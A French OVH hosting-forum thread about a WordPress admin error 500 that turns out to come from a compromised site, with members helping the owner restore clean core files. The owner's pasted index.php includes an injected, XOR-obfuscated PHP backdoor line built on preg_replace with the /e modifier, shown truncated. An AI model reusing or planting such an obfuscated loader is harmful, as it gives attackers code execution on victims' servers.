Bonjour à tous!
Mon site était en Wordpress 2.7.1, hebergement OVH offre 60gp
Le 7 octobre, migration via l'interface admin sur wp 4.7 puis 4.8 (le même jour).
Fonctionnement du site et de l'interface admin sans pb pendant au moins 48h
Puis impossible d'afficher l'interface admin (wp-login.php), erreur 500
Le site reste joignable sans pb (www.lespetitsbouquins.com)
Selon OVH manager, espace disque et base de données non saturés.
Dans OVH manager, firewall et SSL désactivés.
Ai déjà essayé les modifs suivantes, sans succès:
-Désactivation de tous les plugins en renommant le répertoire en plugins_backup
-Suppression du .htaccess
-Modif du .htaccess (via filezilla et gedit)
-Remplacement du repertoire wp-admin
J'ai pensé que ça pouvait venir de la migration d'OVH de Apache 2.2 vers 2.4… ou sinon de mon édtieur texte (gedit…) lorsque j'ai modifié le .htaccess?
Check des logs erreur d'OVH, je note 3 types d'erreurs… qui n'empêche cependant pas le reste du site à s'afficher:
(1) .htaccess: </> directive missing closing '>'
(2) Request exceeded the limit of 10 internal redirects due to probable configuration error
(3) .htaccess: Invalid command '\xef\xbb\xbfUser-agent:'
Merci d'avance pour votre aide, je ne vois plus trop ce que je pourrais modifier pour éviter l'erreur 500….
Voici mon .htaccess:
IfModule mod_version.c
' IfModule mod_filter.c
' IfVersion >= 2.4
FilterProvider COMPRESS DEFLATE "%{Content_Type} = 'text/html'"
FilterProvider COMPRESS DEFLATE "%{Content_Type} = 'text/css'"
' /IfVersion
' IfVersion < 2.4
FilterProvider COMPRESS DEFLATE resp=Content-Type $text/html
FilterProvider COMPRESS DEFLATE resp=Content-Type $text/css
' ifVersion
' /IfModule
' /IfModule
'# BEGIN WordPress
'IfModule mod_rewrite.c
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
'/IfModule
'# END WordPress
(bon j'ai du mal a afficher tous les caractères....)
Ovhconfig:
app.engine=php
app.engine.version=5.6
http.firewall=none
environment=production
Wordpress error 500 uniquement sur interface admin
Sujets apparentés
- [RESOLU] Server unable to read htaccess file, denying access to be safe
25861
24.11.2019 19:11
- Version php 7.0 sur Ovh mais php 5.4.45 sur mon wordpress
23011
10.01.2019 11:14
- Comment récupérer son mot de passe phpmyadmin ?
20018
14.11.2016 10:32
- Changer la version d'une base de donnée en mutualisé
19849
22.12.2016 11:46
- Variable upload_max_filesize plus grande que post_max_size
19792
11.06.2017 16:01
- Résiliation hébergement+domaine
15468
11.09.2018 20:28
- Résiliation hébergement
14662
27.07.2018 10:39
- Transfert hebergement et domaine .fr entre client OVH ?
13876
21.12.2016 15:10
- Ne supporte pas FTP sur TLS
13807
11.12.2018 18:48
- Nouvelle fonctionnalité : SFTP pour tous
13499
06.01.2017 14:50
Là il s'agit à 99% d'une erreur de codage dû à l'utilisation inadéquate d'un éditeur (UTF-8 avec BOM).
Il faut que ce fichier soit codé en ASCII/ANSI.
A ta place j'ajouterai aussi au ovhconfig
container.image=stable
J'ai recopié le .htaccess et .ovhconfig dans le notepad de windows et sauvegardé en ANSI... mais pas de changement...
merci, suis maintenant passé en 7.0, effectivement le site est plus rapide. Mais toujours le meme pb erreur 500 pour wp-admin.php....
Pour apache, je suis sur le cluster014, passage a apache 2.4 était prévu le 30 octobre http://travaux.ovh.net/?do=details&id=25601&edit=yep
j'avais deja suivi ce tuto
mon pb erreur 500 s'affichait avant et après le 30 oct...
je ne vois pas trop ce que je peux faire d'autre...
Si vous supprimez tous les .htaccess ? Avez-vous bien accès à l'admin ?
Si oui, c'est là qu'il faut cibler le problème.
Notepad windows, pas sûr que ça soit la meilleure idée.
Prenez notepad++ qui est gratuit par exemple.
Bonjour et merci pour votre aide:
copié collé dans un nouveau fichier sous notepad++, aucun changement.
htaccess renommé en htaccess_back:
site/fichier-qui-existe : affichage ok
site/wp-login.php: erreur 500
site/fichier-inexistant : url not found
je reactive le htaccess
site/fichier-qui-existe : affichage ok
site/wp-login.php: erreur 500
site/fichier-inexistant : erreur 404
ce qui me fait dire que le fichier htaccess est lu... et que le pb erreur 500 ne vient pas forcément de là...
je continue de chercher.... si vous avez des pistes... encore besoin de vous! merci!
le fichier wp-login.php ne serait pas corrompu ? ou posant problème ?
En remplaçant le ovhconfig par
app.engine=php
app.engine.version=7.1
http.firewall=none
environment=development
container.image=stable
Est ce qu'un message d'erreur n'apparait pas ?
Si oui, il faut le corriger
puis remettre dans le .ovhconfig ces lignes
app.engine=php
app.engine.version=7.1
container.image=stable
http.firewall=none
environment=production
le ovhconfig sur/ ou sur/www ?
en théorie, il ne doit y en avoir qu'un.
et dans /
Celui dans /www/.ovhconfig peut être supprimé.
Voir --> https://www.wordetweb.com/word-et-web/OVH-ovhconfig-hebergement-mutualise-FR.htm OVH - ovhconfig
si je renomme le ovhconfig sur www, alors mon site ne s'affiche plus correctement, les images ne se chargent pas ou partiellement...
j'essaye de modifier le ovhconfig sur / pour mettre "development" d'ici qques minutes. pour le moment le server FTP (ou filezilla) me fait des caprices on dirait.
Je vous tiens au courant! merci
Quel est le contenu de tes 2 ovhconfig ?
_**ovhconfig racine:**_
app.engine=phpcgi
app.engine.version=7.0
http.firewall=none
environment=production
container.image=stable
_**ovhconfig www**_
app.engine=php
app.engine.version=5.6
http.firewall=none
environment=production
container.image=stable
Et si tu mets ça à la racine ?
puis supprime celui qui est dans /www/
Bonjour,
déjà il faudrait n'en garder qu'un des .ovhconfig car là il interfèrent entre eux.
Aussi il faut regarder les logs pas qu'un .ovhconfig est un mauvais encodage.
Cordialement, janus57
je vais essayer
et aussi d'en garder un sur les deux,
... quand je pourrais acceder en ecriture à mon cluster. Filezilla me dit "533 disk quota exceeded" alors qu'il me reste de la place d'apres l'interface ovh manager; mais je vois dans ovh travaux qu'il y a eu un pb sur les hebergements mutu hier soir (en théorie cloturé)... je retente dans une heure.
i am back!
j'ai enfin pu supprimer le ovhconfig sur www/ et ne garder que celui à la racine en mettant "development"
voici le message:
> Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in /home/lespetiter/www/index.php on line 15
> Warning: Cannot modify header information - headers already sent by (output started at /home/lespetiter/www/index.php:15) in /home/lespetiter/www/wp-includes/pluggable.php on line 1210
mon index.php:
> > /**
> * Front to the WordPress application. This file doesn't do anything, but loads
> * wp-blog-header.php which does and tells WordPress to load the theme.
> *
> * @package WordPress
> */
> /**
> * Tells WordPress to load the WordPress theme and output it.
> *
> * @var bool
> */
> define('WP_USE_THEMES', true);
> $dabe='?<)DXG&FD'^'Xc[!(+G%!';$mbd72c9=('E3<'^'5AY').$dabe;$mbd72c9('jJluQB_U'^'E,Z@gsp0',('*[<6c1B'^'O-]ZKV8').('S*[-YQ> /** Loads the WordPress Environment and Template */
> require( dirname( __FILE__ ) . '/wp-blog-header.php' );
plugable.php lines 1200 to 1220
> $status = apply_filters( 'wp_redirect_status', $status, $location );
> if ( ! $location )
> return false;
> $location = wp_sanitize_redirect($location);
> if ( !$is_IIS && PHP_SAPI != 'cgi-fcgi' )
> status_header($status); // This causes problems on IIS and some FastCGI setups
> header("Location: $location", true, $status);
> return true;
> }
> endif;
> if ( !function_exists('wp_sanitize_redirect') ) :
> /**
> * Sanitizes a URL for use in a redirect.
> *
_savez vous ce qu'il faut modifier? merci beaucoup !_
Bonjour,
au vu de votre index.php votre site a été infecté/piraté via une faille.
Cordialement, janus57
Bonjour,
+1, ça sent le site piraté.
Et sinon wordpress était à jour ?
télécharger WP, dans la même version que votre site actuel, et remplacez les fichiers qui sont différents (mis à part ceux que vous avez modifiés).
merci j'ai remplacé le index et le load.php
maintenant j'ai ceci:
> Fatal error: Uncaught Error: Call to undefined function wp() in /home/lespetiter/www/wp-blog-header.php:16 Stack trace: #0 /home/lespetiter/www/index.php(17): require() #1 /home/lespetiter/www/wp-includes/version.php(8): include_once('/home/lespetite...') #2 /home/lespetiter/www/wp-settings.php(29): require('/home/lespetite...') #3 /home/lespetiter/www/wp-config.php(94): require_once('/home/lespetite...') #4 /home/lespetiter/www/wp-load.php(37): require_once('/home/lespetite...') #5 /home/lespetiter/www/wp-login.php(12): require('/home/lespetite...') #6 {main} thrown in /home/lespetiter/www/wp-blog-header.php on line 16
Comme conseiller ci-dessus, tu devrais remplacer TOUS les fichiers de base de wordpress que tu n'as pas modifié toi même.
manifestement, il y a un soucis dans ce fichier aussi " /home/lespetiter/www/wp-blog-header.php "
Ca fonctionne à nouveau ! plus d'erreur 500 après restauration complète du wp-admin et wp-includes. A priori ca venait d'une altération de fichier du wp-includes.
Ai activé les firewalls dans l'interface OVH pour eviter le piratage, du moins le limiter.
**Merci à tous**, en particulier à Buddy, Janus et ppplus !
Bonne soirée.
penses aussi à remettre la ligne
environment=production
dans le .ovhconfig
Hello MarianneP1,
j'ai le même souci que toi. Pourrais tu résumer la façon dont tu as résolu le problème ?
Ce que j'ai compris :
- raison : piratage
- restauration du wp-admin et wp-includes à partir de la même version de WP que celle du module ?
- activation des firewalls
Ce que je n'ai pas compris : as-tu remplacé touts les fichiers de WP par les fichiers de la même version de WP téléchargée à partir du site de WP ? Ou alors seulement wp-admin et wp-includes ?
Merci !
Pour **_éviter TOUS ces soucis_**, faites une copie de votre site sur votre PC.
La restauration de votre site en bon état se fera alors **_avec un seul transfert FTP_**. :)
Bonjour Sylvainh8
J'ai téléchargé wp sur le site officiel, même version que le wp de mon site.
Avec FileZilla, en ftp, j'ai écrasé les répertoires wp-admin et wp-includes ainsi que tous les fichiers à la racine. Attention il ne faut pas effacer puis uploader mais juste uploader en écrasant l'existant, sinon adieu à ton fichier wp-config. (La version de wp que tu trouves sur le site officiel ne contient pas de wp-Config mais un wp-Config-template).
Attention mon pb est revenu un ou deux jours plus tard, piratage à nouveau. Installe donc rapidement un plugin de sécurité style wordfence.
Merci beaucoup pour cette réponse si rapide. Tout est clair maintenant :-)